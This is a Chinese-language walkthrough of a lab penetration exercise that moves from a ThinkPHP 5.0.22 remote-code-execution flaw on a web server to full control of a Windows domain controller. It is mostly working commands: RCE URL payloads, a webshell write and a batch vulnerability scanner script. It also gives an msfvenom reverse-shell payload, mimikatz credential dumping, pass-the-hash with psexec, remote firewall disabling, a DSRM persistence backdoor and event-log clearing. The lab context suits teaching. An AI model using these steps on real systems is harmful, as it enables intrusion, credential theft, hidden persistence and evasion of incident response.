一次簡單的內(nèi)網(wǎng)滲透靶場實戰(zhàn)
本文首發(fā)于先知社區(qū):https://xz.aliyun.com/t/9807
環(huán)境搭建
內(nèi)網(wǎng)網(wǎng)段:192.168.138.0/24
外網(wǎng)網(wǎng)段:192.168.10.0/24
攻擊機:
kali:192.168.10.11
靶場:
win7(內(nèi)):192.168.138.136
win7(外):192.168.10.25
域內(nèi)主機:
Winserver2008:192.168.138.138
其中win7可以外網(wǎng)、內(nèi)網(wǎng)通信,域內(nèi)主機只能內(nèi)網(wǎng)之間進(jìn)行通信


web服務(wù)器滲透
nmap探測端口
nmap?-T4?-sC?-sV?192.168.10.25
這里可以看到幾個主要的端口,例如80、135、139、445,這里首先就可以想到可以利用的點有ipc、smb

開了80端口,嘗試訪問web地址,老笑臉人了,而且還是5.x版本,洞還是比較多

為了確定具體版本,這里先使用報錯查看,發(fā)現(xiàn)這里的版本為5.0.22,如果沒記錯的話這里是有一個tp遠(yuǎn)程命令執(zhí)行漏洞的
漏洞描述:由于thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造,該功能利用
$_POST['_method']來傳遞真實的請求方法。但由于框架沒有對參數(shù)進(jìn)行驗證,導(dǎo)致攻擊者可以設(shè)置$_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數(shù)名,當(dāng)內(nèi)部進(jìn)行參數(shù)過濾時便會進(jìn)行執(zhí)行任意命令。

thinkphp getshell
這里我首先在kali里面找一下有沒有相關(guān)的漏洞
searchsploit?thinkphp

可以看到這里有一個5.x遠(yuǎn)程執(zhí)行漏洞,這里直接進(jìn)入這個文件夾查看一下txt列出來的payload
cd?/usr/share/exploitdb/exploits/php/webapps
cat?46150.txt

找到對應(yīng)版本后fuzz以下payload,這個是列出數(shù)據(jù)庫名字,這里看到數(shù)據(jù)庫名為root
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

這個payload應(yīng)該是列出數(shù)據(jù)庫密碼,但是這里沒有打出來
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

這里打出phpinfo
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

傳參看一下當(dāng)前權(quán)限為administrator
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

看一下ip情況,雙網(wǎng)卡,那么大概率有域環(huán)境
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

看一下進(jìn)程,發(fā)現(xiàn)無殺軟那么嘗試不用免殺直接寫webshell
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist?/svc

這里直接嘗試echo寫一個一句話木馬進(jìn)去,這里因為之前查看過沒有殺軟跟安全狗,這里就不需要做免殺處理
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo?"$_POST[cmd]);?>"?>?connect.php

這里用dir驗證一下是否寫入成功
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

使用蟻劍連接成功


thinkphp批量檢測
這里我思考了一個問題,thinkphp的版本這么多,如果kali里面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間,有沒有一個批量檢測thinkphp漏洞的腳本呢?
這里我找到了一個thinkphp漏洞批量檢測的腳本
#!/usr/bin/env?python
#?-*-?coding:?utf-8?-*-
'''
name:?thinkphp遠(yuǎn)程代碼檢測
description:?ThinkPHP5?5.0.22/5.1.29?遠(yuǎn)程代碼執(zhí)行漏洞
'''
import?re
import?sys
import?requests
import?queue
import?threading
from?bs4?import?BeautifulSoup
class?thinkphp_rce(threading.Thread):
????def?__init__(self,?q):
????????threading.Thread.__init__(self)
????????self.q?=?q
????def?run(self):
????????while?not?self.q.empty():
????????????url=self.q.get()
????????????headers?=?{"User-Agent":"Mozilla/5.0?(Macintosh;?U;?Intel?Mac?OS?X?10_6_8;?en-us)?AppleWebKit/534.50?(KHTML,?like?Gecko)?Version/5.1?Safari/534.50"}
????????????payload?=?r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
????????????vulnurl?=?url?+?payload
????????????try:
????????????????response?=?requests.get(vulnurl,?headers=headers,?timeout=3,?verify=False,?allow_redirects=False)
????????????????
????????????????soup?=?BeautifulSoup(response.text,"lxml")
????????????????if?'PHP?Version'?in?str(soup.text):
????????????????????print?('[+]?Remote?code?execution?vulnerability?exists?at?the?target?address')
????????????????????print?('[+]?Vulnerability?url?address?'?+?vulnurl)
????????????????????with?open('target.txt','a')?as?f1:
????????????????????????f1.write(vulnurl+'\n')
????????????????????f1.close()
????????????????else:
????????????????????print?('[-]?There?is?no?remote?code?execution?vulnerability?in?the?target?address')
????????????except:
????????????????print?('[!]?Destination?address?cannot?be?connected')
def?urlget():
????with?open('url.txt','r')as?f:
????????urls=f.readlines()
????????for?tmp?in?urls:
????????????if?'//'?in?tmp:
????????????????url=tmp.strip('\n')
????????????????urlList.append(url)
????????????else:
????????????????url='http://'+tmp.strip('\n')
????????????????urlList.append(url)
????????return(urlList)
????f.close()
if?__name__=="__main__":
????print('''----------------掃描開始-------------------
*Made?by??:tdcoming
*For?More?:https://t.zsxq.com/Ai2rj6E
*MY?Heart?:https://t.zsxq.com/A2FQFMN
??????????????_______???_?????????????????????????_???????????????
?????????????|__???__|?|?|???????????????????????(_)??????????????
????????????????|?|??__|?|??___??___???_?__?___???_??_?__????__?_?
????????????????|?|?/?_`?|?/?__|/?_?\?|?'_?`?_?\?|?||?'_?\??/?_`?|
????????????????|?||?(_|?||?(__|?(_)?||?|?|?|?|?||?||?|?|?||?(_|?|
????????????????|_|?\__,_|?\___|\___/?|_|?|_|?|_||_||_|?|_|?\__,?|
?????????????????????????????????????????????????????????????__/?|
????????????????????????????????????????????????????????????|___/?
????????????''')
????urlList=[]
????urlget()
????threads?=?[]
????threads_count?=?10
????q=queue.Queue()
????for?url?in?urlList:
????????q.put(url)
????for?i?in?range(threads_count):
????????threads.append(thinkphp_rce(q))
????for?i?in?threads:
????????i.start()
????for?i?in?threads:
????????i.join()
這里的使用方法很簡單:將要檢測的目標(biāo)放在url.txt里面,如果存在漏洞的地址將自動生成一個target.txt文本保存

內(nèi)網(wǎng)信息搜集
這里使用蟻劍的命令窗口搜集一下本機信息,為administrator權(quán)限+雙網(wǎng)卡
whoami
ipconfig

查看一下域相關(guān)信息
net?view
net?config?workstation
net?user?/domain

內(nèi)網(wǎng)滲透
上線msf
msf生成一個abc.exe
msfvenom?-p?windows/meterpreter/reverse_tcp?LHOST=192.168.10.11?LPORT=4444?-f?exe?>?abc.exe?

使用蟻劍上傳到靶機上

這里因為沒有殺軟不用做免殺,直接命令行執(zhí)行即可

msf開啟監(jiān)聽即可上線

信息搜集
使用getsystem提權(quán)到system,這里因為是靶場的原因getsystem比較容易執(zhí)行成功

提權(quán)后獲取一個windows環(huán)境下的shell繼續(xù)對域進(jìn)行信息搜集
chcp?65001
net?user?/domain
net?group?"domain?computers"?/domain
net?group?"domain?controllers"?/domain
net?group?"domain?admins"?/domain

靶機存在一個名為“sun”的域環(huán)境,只有一個域控,這里我直接ping一下域控得到域控ip為192.168.138.138

獲取憑證
這里因為有兩個網(wǎng)段就先把路由添加上方便后續(xù)操作
#?msf操作
route?add?192.168.138.0?255.255.255.0?2
route?print
????
#?session操作
run?autoroute?-s?192.168.138.0/24
run?autoroute?-p


這里選擇session,使用kiwi來獲取靶機密碼,注意這里需要進(jìn)行的一個操作為進(jìn)程遷移,因為我們這里上線到msf的載荷是32位的(即x86),這里需要找一個64位的(即x64)進(jìn)行進(jìn)程遷移才能使用kiwi獲取靶機密碼
sessions?-i?2
load?kiwi
kiwi_cmd?privilege::debug
ps
migrate?1144
kiwi_cmd?sekurlsa::logonPasswords

這里可以看到抓取到了一個域管的密碼為dc123.com和一個靶機的密碼123.com


思路
這里抓到了靶機和域管的密碼,那么這里就可以用pth的方法進(jìn)行橫向移動,這是第一種方法;另外我們可以去檢測一下在另一個網(wǎng)段的機器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp進(jìn)行橫向移動,這是第二種方法;因為我們之前在用nmap對端口進(jìn)行掃描的時候是發(fā)現(xiàn)了139和445端口的,那么我們拿到了密碼的情況下可以嘗試使用ipc+計劃任務(wù)的方式進(jìn)行橫向移動
內(nèi)網(wǎng)橫向移動
MS17-010嘗試
這里直接使用ms17-010的攻擊模塊進(jìn)行嘗試,這里其實應(yīng)該先用掃描模塊對處于另一網(wǎng)段的主機進(jìn)行漏洞掃描,若存在永恒之藍(lán)漏洞才繼續(xù)使用exp模塊進(jìn)行攻擊,這里我為了演示方便就直接上手exp模塊進(jìn)行攻擊了

這里攻擊可以看到,雖然靶機存在永恒之藍(lán)漏洞但是session反彈不成功,這里是因為在windows server2008的情況下匿名管道是默認(rèn)不開啟的。
我們知道psexec的原理就是使用了管道,ipc連接也同理。那么在匿名管帶不開啟的情況下永恒之藍(lán)的連接是建立不上的。這里再說一下匿名管道的概念:
管道是IPC最基本的一種實現(xiàn)機制。我們都知道在Linux下“一切皆文件”,其實這里的管道就是一個文件。管道實現(xiàn)進(jìn)程通信就是讓兩個進(jìn)程都能訪問該文件。
管道的特征:
①只提供單向通信,也就是說,兩個進(jìn)程都能訪問這個文件,假設(shè)進(jìn)程1往文件內(nèi)寫東西,那么進(jìn)程2 就只能讀取文件的內(nèi)容。
②只能用于具有血緣關(guān)系的進(jìn)程間通信,通常用于父子進(jìn)程建通信
③管道是基于字節(jié)流來通信的
④依賴于文件系統(tǒng),它的生命周期隨進(jìn)程的結(jié)束結(jié)束(隨進(jìn)程)
⑤其本身自帶同步互斥效果

psexec嘗試
因為我們已經(jīng)拿到了域管的帳號那么我們這里就直接使用pth的方法,即哈希傳遞,使用的是psexec模塊,不過這個模塊因為被使用太多導(dǎo)致已經(jīng)被殺軟列入了黑名單,如果這里有殺軟存在的情況下psexec橫向移動是會被攔截的。
設(shè)置參數(shù)如下所示,這里注意一下SMBPass這個地方也能夠通過hash進(jìn)行傳遞,也能夠通過明文密碼進(jìn)行傳遞
use?exploit/windows/smb/psexec
set?rhost?192.168.138.138
set?SMBDomain?SUN
set?SMBUser?administrator
set?SMBPass?dc123.com
set?payload?windows/meterpreter/bind_tcp
run
這里可以看到exp已經(jīng)利用了但是沒有session反彈回來,這里我猜測是以為防火墻阻止了端口流量的進(jìn)出,所以這里我們就需要通過ipc連接去關(guān)閉域控的防火墻

ipc連接關(guān)閉域控防火墻
這里的常規(guī)方法是使用netsh關(guān)閉域控防火墻,但是這里需要域控的管理員權(quán)限,所以在這里我們就直接使用ipc連接域控然后使用計劃任務(wù)添加規(guī)則關(guān)閉防火墻
netsh?advfirewall?firewall?add?rule?name="f.exe"?dir=in?program="e:\f.exe"?action=allow
netsh?advfirewall?firewall?delete?rule?name="f.exe"?
將session掛在后臺并與域控建立ipc連接
net?use?\\192.168.138.138\ipc$?dc123.com?/user:administrator
這里可以看到連接已經(jīng)建立成功了

利用sc創(chuàng)建計劃任務(wù)立即啟動關(guān)閉域控的防火墻
sc?\\192.168.138.138?create?unablefirewall?binpath=?"netsh?advfirewall?set?allprofiles?state?off"????#?創(chuàng)建服務(wù)
sc?\\192.168.138.138?start?unablefirewall????#?立即啟動服務(wù)
這里可以看到防火墻已經(jīng)被關(guān)閉了

psexec嘗試*2
這時候我們再使用psexec進(jìn)行橫向移動就能夠獲得session,至此我們就拿到了域控的權(quán)限

這里看一下我們直接拿到的就是一個system權(quán)限的session

登錄遠(yuǎn)程桌面
這里我想登錄遠(yuǎn)程桌面看看域控還有什么有價值的東西就可以使用socks代理正向進(jìn)入內(nèi)網(wǎng)
使用socks_proxy模塊
use?auxiliary/server/socks_proxt
set?viersion?4a
run
這里還需要配置proxychain文件
socks4?192.168.10.11?1080

添加一個內(nèi)網(wǎng)網(wǎng)段的路由
run?autoroute?-s?192.168.138.0/24
run?autoroute?-p

然后使用proxychain命令即可登錄遠(yuǎn)程桌面
proxychain4?rdesktop?192.168.138.138

登錄域控如圖所示

權(quán)限維持
權(quán)限維持的方法有很多種,這里我挑了一個使用得不是很多的方法來進(jìn)行練習(xí)加以鞏固
DSRM后門
何為DSRM后門?
DSRM是Windows域環(huán)境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。DSRM的用途是:允許管理員在域環(huán)境出現(xiàn)故障或崩潰時還原、修復(fù)、重建活動目錄數(shù)據(jù)庫,使域環(huán)境的運行恢復(fù)正常。在域環(huán)境創(chuàng)建初期,DSRM的密碼需要在安裝DC時設(shè)置,且很少會被重置。修改DSRM密碼最基本的方法是在DC上運行 ntdsutil 命令。
在滲透測試中,可以使用DSRM賬號對域環(huán)境進(jìn)行持久化操作。我們知道,每個DC都有本地管理員(administrator)賬號和密碼(與域管理員賬號密碼不同)。DSRM賬號可以作為每個域控制器的本地管理員用戶,通過網(wǎng)絡(luò)連接域控制器,進(jìn)而控制域控制器。
注意:該類持久化操作適用的服務(wù)器版本:Windows Server 2008及以后版本的Windows服務(wù)器。
在域控制器上,DSRM賬號的表現(xiàn)形式是本地的管理員 Administrator 用戶,也就是說本地管理員 Administrator 用戶等于DSRM賬號。
首先,為 DSRM 賬號設(shè)置新密碼。在域控制器(Windows 2008)的cmd中進(jìn)入ntdsutil,然后輸入下面命令進(jìn)行修改DSRM賬戶的密碼:
ntdsutil????//?進(jìn)入ntdsutil
set?dsrm?password????//?設(shè)置DSRM賬戶的密碼
reset?password?on?server?null????//?在當(dāng)前域控制器上恢復(fù)DSRM密碼
????//?輸入新密碼
????//?重新輸入新密碼
q????//退出DSRM密碼設(shè)置模式
q????//?退出ntdsutil

然后再使用kiwi抓取ntml hash

然后,我們修改域控主機的DSRM賬戶登錄方式。在Windows Server 2000以后的版本操作系統(tǒng)中,對DSRM使用控制臺登錄域控制器進(jìn)行了限制。我們可以在注冊表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior項進(jìn)行設(shè)置,將該新建的項中的值設(shè)為0、1、2可以分別設(shè)置不同的DSRM賬戶登錄方式:
0:默認(rèn)值,只有當(dāng)域控制器重啟并進(jìn)入DSRM模式時,才可以使用DSRM管理員賬號
1:只有當(dāng)本地AD、DS服務(wù)停止時,才可以使用DSRM管理員賬號登錄域控制器
2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器
如下所示,我們用powershell命令將DSRM的登錄方式設(shè)置為“2”,即在任何情況下,都可以使用DSRM管理員賬號登錄域控制器:
New-ItemProperty?"HKLM:\System\CurrentControlSet\Control\Lsa\"?-name?"DsrmAdminLogonBehavior"?-value?2?-propertyType?DWORD

使用win7上的mimikatz進(jìn)行hash傳遞即可獲取到域控權(quán)限
privilege::Debug
sekurlsa::pth?/domain:WIN-K6S18HH1766?/user:administrator?/ntlm:a812e6c2defcb0a7b80868f9f3c88d09
日志清除
日志清除有兩種方法,一種是使用kali里面自帶的命令進(jìn)行日志清除
run?event_manager?-i
run?event_manager?-c


第二種方法則是進(jìn)入服務(wù)器管理器自行清除

